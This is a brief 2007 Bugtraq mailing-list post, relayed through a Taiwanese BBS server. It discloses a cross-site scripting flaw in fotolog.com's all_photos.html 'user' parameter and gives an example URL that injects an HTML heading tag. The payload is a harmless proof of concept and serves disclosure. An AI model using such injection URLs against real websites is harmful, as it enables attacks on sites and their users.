發信人absamu@gmail.com,
看板Bugtraq
標 題fotolog xss
發信站NCTU CSIE FreeBSD Server (Sat May 12 08:39:21 2007)
轉信站ptt!FreeBSD.csie.NCTU!not-for-mail
example:
http://www.fotolog.com/all_photos.html?user=[code]
http://www.fotolog.com/all_photos.html?user=%3Ch1%3EXSS%3C/h1%3E
bye